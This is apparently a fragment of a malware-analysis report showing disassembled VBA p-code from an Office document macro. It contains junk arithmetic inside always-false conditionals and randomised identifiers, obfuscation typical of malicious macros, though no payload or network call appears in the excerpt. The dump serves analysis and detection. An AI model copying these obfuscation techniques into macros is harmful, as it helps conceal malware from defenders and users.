' 	Eq 
' 	IfBlock 
' Line #42:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld jUAA_A 
' 	LitDI4 0xD74B 0x1654 
' 	Ld Y1AoAc1 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld EGxUwA 
' 	LitDI4 0x7EB2 0x0DB7 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld D1cQD_c 
' 	Ld d4AkBcZ 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld VA_AGGG 
' 	Ld FwA4XoD 
' 	LitDI4 0x334C 0x3005 
' 	Div 
' 	Sub 
' 	Ld vXAoUkA 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld wkxoDD 
' 	Ld fc1oAQD 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x3703 0x23B3 
' 	LitDI4 0x499A 0x36E3 
' 	FnSgn 
' 	Div 
' 	Ld ZCAAxZA 
' 	LitDI4 0x1F90 0x1EA8 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St bccDA1 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	LitDI4 0x720D 0x2C7F 
' 	LitDI4 0x7BF7 0x0661 
' 	Eq 
' 	IfBlock 
' Line #45:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld tAAwUcU 
' 	LitDI4 0xA314 0x399D 
' 	Ld nAAQBUAQ 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld swAxDA 
' 	LitDI4 0x3C51 0x2D23 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld HAAGAB 
' 	Ld hAxcXA 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld aAoA1AQA 
' 	Ld iAwkDCD 
' 	LitDI4 0x4BEE 0x161A 
' 	Div 
' 	Sub 
' 	Ld wwcwDc 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld XwGAAw 
' 	Ld HABAAAQ 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0xAB69 0x0723 
' 	LitDI4 0x0526 0x0F72 
' 	FnSgn 
' 	Div 
' 	Ld ZAQADA 
' 	LitDI4 0x0D9A 0x0A12 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St nAGBADC 
' Line #46:
' 	EndIfBlock 
' Line #47:
' 	LineCont 0x0004 02 00 00 00
' 	Ld tADUBDQ 
' 	MemLd ShOwWiNdOw 
' 	Ld tADUBDQ 
' 	MemLd ShOwWiNdOw 
' 	Sub 
' 	Ld tADUBDQ 
' 	MemLd ShOwWiNdOw 
' 	Add 
' 	Ld tADUBDQ 
' 	MemLd ShOwWiNdOw 
' 	Add 
' 	Ld tADUBDQ 
' 	MemLd ShOwWiNdOw 
' 	Add 
' 	Ld cC14Bw 
' 	MemSt aUQACA4 
' Line #48:
' 	LitDI4 0xA1FF 0x22A8 
' 	LitDI4 0x5739 0x38CF 
' 	Eq 
' 	IfBlock 
' Line #49:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld mkAA4AXX 
' 	LitDI4 0xDDC6 0x082B 
' 	Ld tkwUxADA 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld CQBDAB 
' 	LitDI4 0x9CD7 0x3B2D 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld fQQAQ4 
' 	Ld FD41QA 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld oQZCAAAD 
' 	Ld QUDA4ACx 
' 	LitDI4 0xC80B 0x026E 
' 	Div 
' 	Sub 
' 	Ld Z_kAoAA 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld ac4kAA 
' 	Ld T_UQDA 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x4167 0x36D7 
' 	LitDI4 0xE03C 0x35BC 
' 	FnSgn 
' 	Div 
' 	Ld KC_CDZ 
' 	LitDI4 0x8F76 0x078C 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St dUAQkkAx 
' Line #50:
' 	EndIfBlock 
' Line #51:
' 	LitDI4 0xA19B 0x06F2 
' 	LitDI4 0xFB73 0x1D4A 
' 	Eq 
' 	IfBlock 
' Line #52:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld FABBAkAC 
' 	LitDI4 0x8289 0x0C89 
' 	Ld TAADDX 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld IQcQCAQ 
' 	LitDI4 0xC6ED 0x38C0 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld QQoAAA 
' 	Ld dAABBUAC 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld JAAkAow1 
' 	Ld j1BCkA 
' 	LitDI4 0x1D90 0x26A0 
' 	Div 
' 	Sub 
' 	Ld jABUC_ 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld icAUcAc 
' 	Ld VAAoGBAA 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x6E90 0x12CB 
' 	LitDI4 0x1B82 0x0023 
' 	FnSgn 
…

Open this report in the interactive analyzer, or submit your own file for analysis.